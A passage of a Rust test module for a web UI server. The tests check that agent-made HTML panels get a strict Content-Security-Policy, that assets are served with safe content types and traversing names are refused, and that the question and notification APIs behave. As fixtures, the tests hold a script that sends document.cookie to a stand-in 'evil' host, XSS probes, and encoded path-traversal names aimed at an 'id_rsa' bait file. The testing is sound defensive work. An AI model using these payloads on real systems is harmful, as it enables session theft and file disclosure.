5218        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5219        let bytes = raw[split + 4..].to_vec();
5220        let status = head
5221            .lines()
5222            .next()
5223            .and_then(|line| line.split_whitespace().nth(1))
5224            .and_then(|code| code.parse().ok())
5225            .expect("a status line");
5226        Res {
5227            status,
5228            headers: head.to_lowercase(),
5229            head,
5230            body: String::from_utf8_lossy(&bytes).into_owned(),
5231            bytes,
5232        }
5233    }
5234
5235    /// A `POST` carrying a raw binary body and its own headers, for the
5236    /// attachment upload route - `request_with` only ever sends
5237    /// `Content-Type: application/json`, which is wrong for an image and
5238    /// would corrupt anything not valid UTF-8 by round-tripping it through
5239    /// `&str` first.
5240    async fn request_bytes(
5241        addr: SocketAddr,
5242        path: &str,
5243        headers: &[(&str, &str)],
5244        body: &[u8],
5245    ) -> Res {
5246        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5247        for (name, value) in headers {
5248            head.push_str(&format!("{name}: {value}\r\n"));
5249        }
5250        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5251        let mut socket = tokio::net::TcpStream::connect(addr)
5252            .await
5253            .expect("connect to the test server");
5254        socket
5255            .write_all(head.as_bytes())
5256            .await
5257            .expect("write request head");
5258        socket.write_all(body).await.expect("write request body");
5259        let mut raw = Vec::new();
5260        socket.read_to_end(&mut raw).await.expect("read response");
5261        let split = raw
5262            .windows(4)
5263            .position(|w| w == b"\r\n\r\n")
5264            .expect("a header block");
5265        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5266        let bytes = raw[split + 4..].to_vec();
5267        let status = head
5268            .lines()
5269            .next()
5270            .and_then(|line| line.split_whitespace().nth(1))
5271            .and_then(|code| code.parse().ok())
5272            .expect("a status line");
5273        Res {
5274            status,
5275            headers: head.to_lowercase(),
5276            head,
5277            body: String::from_utf8_lossy(&bytes).into_owned(),
5278            bytes,
5279        }
5280    }
5281
5282    /// A run on disk, without touching the process-global magi home.
5283    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5284        let mut state = RunState::new(
5285            PathBuf::from("/repo/magi"),
5286            "main".to_owned(),
5287            "0123456789abcdef".to_owned(),
5288            "Add a web UI\n\nMobile first.".to_owned(),
5289            Config::default(),
5290        );
5291        state.id = id.to_owned();
5292        state.status = status;
5293        let dir = runs.join(id);
5294        std::fs::create_dir_all(&dir).expect("run dir");
5295        std::fs::write(
5296            dir.join("run.json"),
5297            serde_json::to_string_pretty(&state).expect("serialize run"),
5298        )
5299        .expect("write run.json");
5300    }
5301
5302    /// Same as [`write_run`], but against a named repository rather than the
5303    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
5304    /// spread across more than one.
5305    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5306        let mut state = RunState::new(
5307            PathBuf::from(repo),
5308            "main".to_owned(),
5309            "0123456789abcdef".to_owned(),
5310            "task".to_owned(),
5311            Config::default(),
5312        );
5313        state.id = id.to_owned();
5314        state.status = status;
5315        let dir = runs.join(id);
5316        std::fs::create_dir_all(&dir).expect("run dir");
5317        std::fs::write(
5318            dir.join("run.json"),
5319            serde_json::to_string_pretty(&state).expect("serialize run"),
5320        )
5321        .expect("write run.json");
5322    }
5323
5324    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5325        let body = serde_json::json!({
5326            "schema": 1,
5327            "pid": 4242,
5328            "started_at": Timestamp::now().to_string(),
5329            "updated_at": updated_at.to_string(),
5330            "idle": false,
5331            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5332            "completed": 7,
5333            "polls": 143,
5334        });
5335        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5336    }
5337
5338    /// A loop that starts, finds nothing to do, and waits to be told to stop.
5339    ///
5340    /// No test in this file may start the real loop - see [`Ui::launch`] for
5341    /// why - so this stands in for the only thing the routes need a loop to
5342    /// do: keep running until `Stop` is set, then return. A real
5343    /// `serve_until` here would resolve its queue and its status file through
5344    /// the process-global magi home, claim whatever it found in the
5345    /// operator's live backlog, overwrite the status file of the `magi serve`
5346    /// that owns it, and spend real agent quota on a real competition.
5347    fn launch_idle(
5348        _opts: daemon::Opts,
5349        stop: daemon::Stop,
5350    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5351        Box::pin(async move {
5352            while !stop.stopped() {
5353                tokio::time::sleep(Duration::from_millis(2)).await;
5354            }
5355            Ok(())
5356        })
5357    }
5358
5359    /// A loop that fails on the way up, the way one whose home has gone
5360    /// read-only does.
5361    fn launch_broken(
5362        _opts: daemon::Opts,
5363        _stop: daemon::Stop,
5364    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5365        Box::pin(async {
5366            Err(anyhow::anyhow!(
5367                "publish the daemon status file: read-only file system"
5368            ))
5369        })
5370    }
5371
5372    /// The address the parking loop knocks on, and what it heard there.
5373    ///
5374    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
5375    /// capture a fixture's address; this is how it is handed one. Only
5376    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
5377    /// these, so nothing else in this binary can race them.
5378    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5379    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5380
5381    /// A loop that, once it is asked to stop, checks the deck still answers
5382    /// before it goes.
5383    ///
5384    /// It stands in for a run mid-node: `finish_loop` waits for this future,
5385    /// so the request it makes is strictly inside the park window - no sleep
5386    /// and no polling needed to be sure of that.
5387    fn launch_knocking_on_the_way_out(
5388        _opts: daemon::Opts,
5389        stop: daemon::Stop,
5390    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5391        Box::pin(async move {
5392            while !stop.stopped() {
5393                tokio::time::sleep(Duration::from_millis(2)).await;
5394            }
5395            let addr = PARK_KNOCK
5396                .lock()
5397                .expect("park knock")
5398                .expect("the test set an address");
5399            let heard = request(addr, "GET", "/api/health", None).await.status;
5400            *PARK_HEARD.lock().expect("park heard") = Some(heard);
5401            Ok(())
5402        })
5403    }
5404
5405    /// The loop view once `want` accepts it.
5406    ///
5407    /// Polled rather than asserted straight after the POST because stopping
5408    /// is deliberately not instant - that is the contract - and rather than
5409    /// slept through because a fixed wait is either flaky or slow.
5410    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
5411    /// finite, so a genuine hang fails the test instead of hanging the
5412    /// suite.
5413    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5414        for _ in 0..SETTLE_STEPS {
5415            let view = fx.get("/api/loop").await.json();
5416            if want(&view) {
5417                return view;
5418            }
5419            tokio::time::sleep(Duration::from_millis(10)).await;
5420        }
5421        panic!(
5422            "the loop never settled: {}",
5423            fx.get("/api/loop").await.json()
5424        );
5425    }
5426
5427    /// File an open question directly in the store the server reads.
5428    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5429        let store = fx.questions();
5430        let mut q = Question::new(
5431            "20260902-000000-beef".to_owned(),
5432            "implement".to_owned(),
5433            "impl-A".to_owned(),
5434            summary.to_owned(),
5435            "because it matters".to_owned(),
5436            choices.iter().map(|c| (*c).to_owned()).collect(),
5437        );
5438        store.put(&mut q).expect("put question");
5439        q.id
5440    }
5441
5442    /// A question with a panel the server can serve, plus the named assets.
5443    ///
5444    /// Written through `Questions::put_panel` rather than by laying out the
5445    /// directory here, so these tests exercise the same on-disk shape the
5446    /// agents produce and cannot pass against a layout only the tests know.
5447    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5448        let store = fx.questions();
5449        let mut q = Question::new(
5450            "20260902-000000-beef".to_owned(),
5451            "land".to_owned(),
5452            "fix".to_owned(),
5453            "Merge this?".to_owned(),
5454            "the diff is in the panel".to_owned(),
5455            vec!["merge".to_owned(), "hold".to_owned()],
5456        );
5457        // Staged outside the questions root, because `put_panel` copies from
5458        // wherever the agent left its files.
5459        let staging = fx.home.path().join("staging");
5460        std::fs::create_dir_all(&staging).expect("staging dir");
5461        let sources: Vec<PathBuf> = assets
5462            .iter()
5463            .map(|(name, bytes)| {
5464                let path = staging.join(name);
5465                std::fs::write(&path, bytes).expect("write staged asset");
5466                path
5467            })
5468            .collect();
5469        store
5470            .put_panel(&mut q, html, &sources)
5471            .expect("write the panel");
5472        store.put(&mut q).expect("put question");
5473        q.id
5474    }
5475
5476    /// A talk on disk, without talking to a model.
5477    ///
5478    /// Written as JSON straight into the store the server reads, because the
5479    /// only constructor `talk::begin` offers takes no turn but still requires
5480    /// a real caller-visible flow. The one thing this cannot make up is the
5481    /// seat, so it is built with the real `SeatState::new` and serialized -
5482    /// the alternative, hand-writing that object, would make these tests fail
5483    /// the day the seat gains a field.
5484    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5485        let store = fx.talks();
5486        std::fs::create_dir_all(store.root()).expect("talks dir");
5487        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5488            .expect("serialize a seat");
5489        let body = serde_json::json!({
5490            "schema": 1,
5491            "id": id,
5492            "repo": "/repo/magi",
5493            "agent": "mock",
5494            "status": status,
5495            "turns": [],
5496            "created_at": Timestamp::now().to_string(),
5497            "updated_at": Timestamp::now().to_string(),
5498            "seat": seat,
5499        });
5500        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5501        store.get(id).expect("the seeded talk has to be readable");
5502        id.to_owned()
5503    }
5504
5505    #[tokio::test]
5506    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5507        let fx = Fixture::start().await;
5508        let id = panel(
5509            &fx,
5510            "<h1>Merge?</h1><img src=\"diff.svg\">",
5511            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5512        );
5513
5514        for path in [
5515            format!("/api/questions/{id}/panel"),
5516            format!("/api/questions/{id}/asset/diff.svg"),
5517        ] {
5518            let res = fx.get(&path).await;
5519            assert_eq!(res.status, 200, "{path}: {}", res.body);
5520            // The whole string, not a substring. A weakened directive - an
5521            // `img-src *` that lets a panel beacon out to a remote host, a
5522            // `script-src` anything, a missing `form-action` that lets it post
5523            // the owner's decision to a third party - has to fail here, and a
5524            // `contains` assertion would let every one of those through.
5525            assert_eq!(
5526                res.header("content-security-policy"),
5527                Some(
5528                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5529                     font-src data:; base-uri 'none'; form-action 'none'; \
5530                     frame-ancestors 'self'"
5531                ),
5532                "{path} is the only thing between a hostile panel and the tailnet"
5533            );
5534            assert_eq!(
5535                res.header("x-content-type-options"),
5536                Some("nosniff"),
5537                "{path}: a browser must not re-decide the type we sent"
5538            );
5539            assert_eq!(
5540                res.header("referrer-policy"),
5541                Some("no-referrer"),
5542                "{path}: a panel must not leak the question id off the machine"
5543            );
5544
5545            // The front end mounts the frame only after a `HEAD` says the
5546            // panel is there, so `HEAD` has to answer with the same status and
5547            // the same policy as `GET` - a preflight that came back without
5548            // the CSP would mean a frame mounted on an unverified promise.
5549            let pre = fx.head(&path).await;
5550            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5551            assert_eq!(
5552                pre.header("content-security-policy"),
5553                res.header("content-security-policy"),
5554                "{path}: the preflight carries the same policy"
5555            );
5556            assert_eq!(
5557                pre.header("content-type"),
5558                res.header("content-type"),
5559                "{path}: the preflight carries the same type"
5560            );
5561        }
5562    }
5563
5564    #[tokio::test]
5565    async fn a_panel_reaches_the_browser_byte_for_byte() {
5566        let fx = Fixture::start().await;
5567        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
5568        // tag, an entity, and a multi-byte character. The sandbox is what makes
5569        // this safe, so nothing here may be rewritten on the way out - a
5570        // rewritten diff is a diff the owner cannot trust.
5571        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
5572        let id = panel(&fx, html, &[]);
5573
5574        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5575
5576        assert_eq!(res.status, 200);
5577        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5578        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5579        assert_eq!(
5580            res.header("content-disposition"),
5581            None,
5582            "the panel itself is rendered in the frame, not downloaded"
5583        );
5584    }
5585
5586    #[tokio::test]
5587    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5588        let fx = Fixture::start().await;
5589        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5590        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5591        let id = panel(
5592            &fx,
5593            "<img src=\"diff.svg\"><img src=\"shot.png\">",
5594            &[("diff.svg", svg), ("shot.png", png)],
5595        );
5596
5597        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5598        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5599
5600        assert_eq!(as_svg.status, 200);
5601        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5602        // An SVG is XML that may carry script. Inside the panel it is an
5603        // `<img src>` and the script cannot run; opened at the top level it
5604        // would be a document on magi's own origin, so the browser is told to
5605        // download it instead of rendering it.
5606        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5607
5608        assert_eq!(as_png.status, 200);
5609        assert_eq!(as_png.header("content-type"), Some("image/png"));
5610        assert_eq!(
5611            as_png.header("content-disposition"),
5612            None,
5613            "a raster image has no execution surface, so tapping it still shows it"
5614        );
5615        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5616    }
5617
5618    #[tokio::test]
5619    async fn an_html_asset_is_never_served_as_html() {
5620        let fx = Fixture::start().await;
5621        let id = panel(
5622            &fx,
5623            "<p>see the notes</p>",
5624            &[
5625                (
5626                    "notes.html",
5627                    b"<script>fetch('http://evil/'+document.cookie)</script>",
5628                ),
5629                ("hook.js", b"fetch('http://evil/')"),
5630                ("data.json", b"{}"),
5631                ("HEADLINE.TXT", b"plain"),
5632            ],
5633        );
5634
5635        for name in ["notes.html", "hook.js", "data.json"] {
5636            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5637            assert_eq!(res.status, 200, "{name}: {}", res.body);
5638            // Serving this as text/html would be a way to reach agent markup
5639            // at the top level of the operator's browser, outside the frame's
5640            // sandbox and outside its CSP - which is the whole thing the panel
5641            // design exists to prevent. Unlisted types are downloads.
5642            assert_eq!(
5643                res.header("content-type"),
5644                Some("application/octet-stream"),
5645                "{name} must not be a type the browser will execute or render"
5646            );
5647        }
5648        // The whitelist is matched case-insensitively, so an agent shouting the
5649        // extension still gets a readable file rather than a download.
5650        let txt = fx
5651            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5652            .await;
5653        assert_eq!(
5654            txt.header("content-type"),
5655            Some("text/plain; charset=utf-8")
5656        );
5657    }
5658
5659    #[tokio::test]
5660    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5661        let fx = Fixture::start().await;
5662        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5663        // Something outside the panel directory that a traversal would reach if
5664        // one got through, so a passing test is not merely "the file was
5665        // missing anyway".
5666        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5667
5668        // Decoded before this server's handler sees them: axum percent-decodes
5669        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
5670        // string with a NUL in it. All three look like ordinary single-segment
5671        // filenames to the router, so the router passes them through and
5672        // `valid_asset_name` is what refuses them - for the literal `..`, and
5673        // for `/`, `\` and NUL not being in the permitted character set.
5674        for encoded in [
5675            "%2e%2e%2fid_rsa",
5676            "..%2fid_rsa",
5677            "..%5cid_rsa",
5678            "%2e%2e%5cid_rsa",
5679            "diff%00.svg",
5680            "..",
5681            ".hidden",
5682            "%2e%2e%2f%2e%2e%2fid_rsa",
5683        ] {
5684            let res = fx
5685                .get(&format!("/api/questions/{id}/asset/{encoded}"))
5686                .await;
5687            assert_eq!(
5688                res.status, 400,
5689                "`{encoded}` has to be refused by name, not looked up: {}",
5690                res.body
5691            );
5692            assert!(res.json()["error"].is_string(), "{}", res.body);
5693        }
5694
5695        // Not decoded, and never this handler's problem: a real slash makes the
5696        // request one segment too long for `/api/questions/{id}/asset/{name}`,
5697        // so axum's router has no route to match and answers before any code
5698        // here runs. Asserted so that a future route with a wildcard segment
5699        // cannot quietly open this door.
5700        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5701            let res = fx
5702                .get(&format!("/api/questions/{id}/asset/{literal}"))
5703                .await;
5704            assert_eq!(
5705                res.status, 404,
5706                "`{literal}` must not match the asset route at all: {}",
5707                res.body
5708            );
5709        }
5710    }
5711
5712    #[tokio::test]
5713    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5714        let fx = Fixture::start().await;
5715        let plain = ask(&fx, "Which backend?", &["SQLite"]);
5716        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5717
5718        // A question nobody wrote a panel for. The client preflights with HEAD
5719        // and cannot see inside a sandboxed frame, so this must be a status and
5720        // not an empty page.
5721        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5722        assert_eq!(none.status, 404, "{}", none.body);
5723        assert!(none.json()["error"].is_string(), "{}", none.body);
5724        assert_eq!(
5725            fx.head(&format!("/api/questions/{plain}/panel"))
5726                .await
5727                .status,
5728            404,
5729            "the preflight is the only way the client can learn this"
5730        );
5731
5732        // A name that is perfectly legal and simply is not there.
5733        let missing = fx
5734            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5735            .await;
5736        assert_eq!(missing.status, 404, "{}", missing.body);
5737        assert!(missing.json()["error"].is_string(), "{}", missing.body);
5738
5739        // A question that does not exist at all, on both routes.
5740        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5741        assert_eq!(
5742            fx.get("/api/questions/nope/asset/diff.svg").await.status,
5743            404
5744        );
5745    }
5746
5747    #[tokio::test]
5748    async fn a_run_with_an_open_question_reads_as_waiting() {
5749        let fx = Fixture::start().await;
5750        let run = "20260902-000000-beef".to_owned();
5751        write_run(&fx.runs(), &run, RunStatus::Implementing);
5752
5753        let before = fx.get("/api/runs").await.json();
5754        assert_eq!(before[0]["waiting"], false, "{before}");
5755
5756        let store = fx.questions();
5757        let mut q = Question::new(
5758            run.clone(),
5759            "implement".to_owned(),
5760            "impl-A".to_owned(),
5761            "Which backend?".to_owned(),
5762            String::new(),
5763            vec!["SQLite".to_owned()],
5764        );
5765        store.put(&mut q).expect("put");
5766
5767        let during = fx.get("/api/runs").await.json();
5768        assert_eq!(during[0]["waiting"], true, "{during}");
5769
5770        // Answered: the run is moving again, and the flag has to follow without
5771        // anything having rewritten run.json.
5772        q.answer(Answer::Choice("SQLite".to_owned()))
5773            .expect("answer");
5774        store.put(&mut q).expect("put");
5775        let after = fx.get("/api/runs").await.json();
5776        assert_eq!(after[0]["waiting"], false, "{after}");
5777    }
5778
5779    #[tokio::test]
5780    async fn an_open_question_is_listed_and_counted_by_health() {
5781        let fx = Fixture::start().await;
5782        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5783
5784        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5785        let listed = fx.get("/api/questions").await.json();
5786        assert_eq!(listed.as_array().expect("array").len(), 1);
5787        assert_eq!(listed[0]["id"], id);
5788        assert_eq!(listed[0]["status"], "open");
5789        assert_eq!(listed[0]["choices"][1], "Redis");
5790        // The count is what makes the phone's indicator honest: it is the one
5791        // number meaning nothing will move until a human acts.
5792        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5793    }
5794
5795    #[tokio::test]
5796    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5797        let fx = Fixture::start().await;
5798        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5799        let path = format!("/api/questions/{id}/answer");
5800
5801        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5802        assert_eq!(res.status, 200, "{}", res.body);
5803        let body = res.json();
5804        assert_eq!(body["status"], "answered");
5805        assert_eq!(body["answer"]["choice"], "Redis");
5806
5807        // Answered from the terminal in between the list and the tap: the UI
5808        // must be able to tell this from a bad request, so it can show the
5809        // recorded answer instead of an error.
5810        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5811        assert_eq!(again.status, 409, "{}", again.body);
5812        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5813    }
5814
5815    #[tokio::test]
5816    async fn saying_something_appends_a_turn_without_answering() {
5817        let fx = Fixture::start().await;
5818        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5819        let path = format!("/api/questions/{id}/say");
5820
5821        let res = fx
5822            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5823            .await;
5824        assert_eq!(res.status, 200, "{}", res.body);
5825        let body = res.json();
5826        assert_eq!(body["status"], "open", "talking back is not a decision");
5827        assert_eq!(body["answer"], Value::Null);
5828        assert_eq!(body["thread"][0]["who"], "operator");
5829        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5830        assert_eq!(body["waiting_on_agent"], true);
5831        // Still open, still counted, still exactly one question.
5832        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5833    }
5834
5835    #[tokio::test]
5836    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5837        let fx = Fixture::start().await;
5838        let store = fx.questions();
5839        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5840        assert_eq!(
5841            fx.get("/api/health").await.json()["questions_needs_owner"],
5842            1
5843        );
5844
5845        // The owner asks back instead of deciding: the ask bar, the nav badge
5846        // and the title must stop naming this question, because there is
5847        // nothing to decide until the agent answers - `status` alone cannot
5848        // say that, which is the whole reason `questions_needs_owner` exists
5849        // alongside `questions_open`.
5850        let res = fx
5851            .post(
5852                &format!("/api/questions/{id}/say"),
5853                Some(r#"{"body":"why not Postgres?"}"#),
5854            )
5855            .await;
5856        assert_eq!(res.status, 200, "{}", res.body);
5857        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5858        assert_eq!(
5859            fx.get("/api/health").await.json()["questions_needs_owner"],
5860            0,
5861            "waiting on the agent is not waiting on the owner"
5862        );
5863
5864        // `magi ask --thread` replying is what brings the owner count back -
5865        // the same event that would resume the CLI call blocked in `magi
5866        // ask`.
5867        let mut q = store.get(&id).expect("get");
5868        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5869            .expect("reply");
5870        store.put(&mut q).expect("put");
5871        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5872        assert_eq!(
5873            fx.get("/api/health").await.json()["questions_needs_owner"],
5874            1,
5875            "the agent's reply is what should light the banner back up"
5876        );
5877    }
5878
5879    #[tokio::test]
5880    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5881        let fx = Fixture::start().await;
5882        let store = fx.questions();
5883
5884        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5885        let res = fx
5886            .post(
5887                &format!("/api/questions/{empty_id}/say"),
5888                Some(r#"{"body":"   "}"#),
5889            )
5890            .await;
5891        assert_eq!(res.status, 400, "{}", res.body);
5892
5893        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5894        let mut answered = store.get(&answered_id).expect("get");
5895        answered
5896            .answer(Answer::Choice("SQLite".to_owned()))
5897            .expect("answer");
5898        store.put(&mut answered).expect("put");
5899        let res = fx
5900            .post(
5901                &format!("/api/questions/{answered_id}/say"),
5902                Some(r#"{"body":"still there?"}"#),
5903            )
5904            .await;
5905        assert_eq!(res.status, 409, "{}", res.body);
5906
5907        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5908        let mut abandoned = store.get(&abandoned_id).expect("get");
5909        abandoned.abandon("timed out");
5910        store.put(&mut abandoned).expect("put");
5911        let res = fx
5912            .post(
5913                &format!("/api/questions/{abandoned_id}/say"),
5914                Some(r#"{"body":"still there?"}"#),
5915            )
5916            .await;
5917        assert_eq!(res.status, 409, "{}", res.body);
5918    }
5919
5920    #[tokio::test]
5921    async fn an_answer_the_question_does_not_offer_is_refused() {
5922        let fx = Fixture::start().await;
5923        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5924        let path = format!("/api/questions/{id}/answer");
5925
5926        for body in [
5927            r#"{"choice":"Postgres"}"#,
5928            r#"{"text":"whatever you think"}"#,
5929            r#"{"choice":"Redis","text":"both"}"#,
5930            r#"{}"#,
5931        ] {
5932            let res = fx.post(&path, Some(body)).await;
5933            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5934            assert!(res.json()["error"].is_string(), "{}", res.body);
5935        }
5936        // Nothing above may have answered it.
5937        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5938    }
5939
5940    #[tokio::test]
5941    async fn a_free_text_question_takes_text_and_not_a_choice() {
5942        let fx = Fixture::start().await;
5943        let id = ask(&fx, "What should the flag be called?", &[]);
5944        let path = format!("/api/questions/{id}/answer");
5945
5946        assert_eq!(
5947            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5948            400
5949        );
5950        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5951        assert_eq!(res.status, 200, "{}", res.body);
5952        assert_eq!(res.json()["answer"]["text"], "--json");
5953    }
5954
5955    #[tokio::test]
5956    async fn an_unknown_question_is_a_json_404() {
5957        let fx = Fixture::start().await;
5958        let res = fx
5959            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5960            .await;
5961        assert_eq!(res.status, 404, "{}", res.body);
5962        assert!(res.json()["error"].is_string());
5963    }
5964
5965    #[tokio::test]
5966    async fn notifications_list_read_dismiss_and_health_agree() {
5967        let fx = Fixture::start().await;
5968        let store = Notices::at(fx.home.path().join("notifications"));
5969        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5970        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5971
5972        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5973        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5974
5975        let health = fx.get("/api/health").await.json();
5976        assert_eq!(health["notifications_unread"], 2);
5977        assert_ne!(
5978            health["notifications_rev"], rev0,
5979            "the badge must move live"
5980        );
5981
5982        let listed = fx.get("/api/notifications").await.json();
5983        assert_eq!(listed["unread"], 2);
5984        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5985        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5986
5987        let read = fx
5988            .post(&format!("/api/notifications/{}/read", a.id), None)
5989            .await;
5990        assert_eq!(read.status, 200, "{}", read.body);
5991        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5992
5993        let gone = fx
5994            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5995            .await;
5996        assert_eq!(gone.status, 200, "{}", gone.body);
5997        let listed = fx.get("/api/notifications").await.json();
5998        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5999        assert_eq!(listed["unread"], 0);
6000
6001        store.raise(Notice::info("x", "again")).unwrap();
6002        let all = fx.post("/api/notifications/read-all", None).await;
6003        assert_eq!(all.status, 200, "{}", all.body);
6004        assert_eq!(all.json()["marked"], 1);
6005        assert_eq!(
6006            fx.get("/api/health").await.json()["notifications_unread"],
6007            0
6008        );
6009
6010        let missing = fx.post("/api/notifications/nope/read", None).await;
6011        assert_eq!(missing.status, 404, "{}", missing.body);
6012        assert!(missing.json()["error"].is_string());
6013    }
6014
6015    /// New work reaches the queue through `magi task add`, a standing talk's
6016    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
6017    /// so the compose form and that route are gone. The tests that covered
6018    /// that route's validation went with it, and nothing was left asserting
6019    /// it stays gone — so a re-added handler would silently let the phone
6020    /// file briefs no one validated.
6021    #[tokio::test]
6022    async fn a_task_cannot_be_filed_over_the_phone_directly() {
6023        let f = Fixture::start().await;
6024
6025        let res = f
6026            .post(
6027                "/api/queue",
6028                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
6029            )
6030            .await;
6031
6032        assert_eq!(
6033            res.status, 405,
6034            "POST /api/queue must not be a route: {}",
6035            res.body
6036        );
6037        assert!(
6038            f.queue().list().is_empty(),
6039            "a task filed by a route that does not exist must not reach the disk"
6040        );
6041        // The path itself is still served — the Queue view reads it — and the
6042        // per-task controls are untouched by the entry being removed.
6043        assert_eq!(f.get("/api/queue").await.status, 200);
6044    }
6045
6046    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
6047    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
6048        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
6049            .expect("checkout dir");
6050    }
6051
6052    #[tokio::test]
6053    async fn repos_list_returns_name_and_path_for_every_configured_root() {
6054        let tmp = TempDir::new().expect("tempdir");
6055        let repo = tmp.path().join("repo");
6056        std::fs::create_dir_all(&repo).expect("repo dir");
6057        let root = tmp.path().join("root");
6058        make_checkout(&root, "github.com", "yukimemi", "magi");
6059        std::fs::write(
6060            repo.join("magi.toml"),
6061            format!(
6062                "[repos]\nroots = [{:?}]\n",
6063                root.to_string_lossy().into_owned()
6064            ),
6065        )
6066        .expect("write magi.toml");
6067
6068        let f = Fixture::with_repo(repo).await;
6069        let res = f.get("/api/repos").await;
6070        assert_eq!(res.status, 200, "{}", res.body);
6071        let list = res.json();
6072        let repos = list.as_array().expect("an array");
6073        assert_eq!(repos.len(), 1);
6074        assert_eq!(repos[0]["name"], "yukimemi/magi");
6075        assert!(
6076            repos[0]["path"]
6077                .as_str()
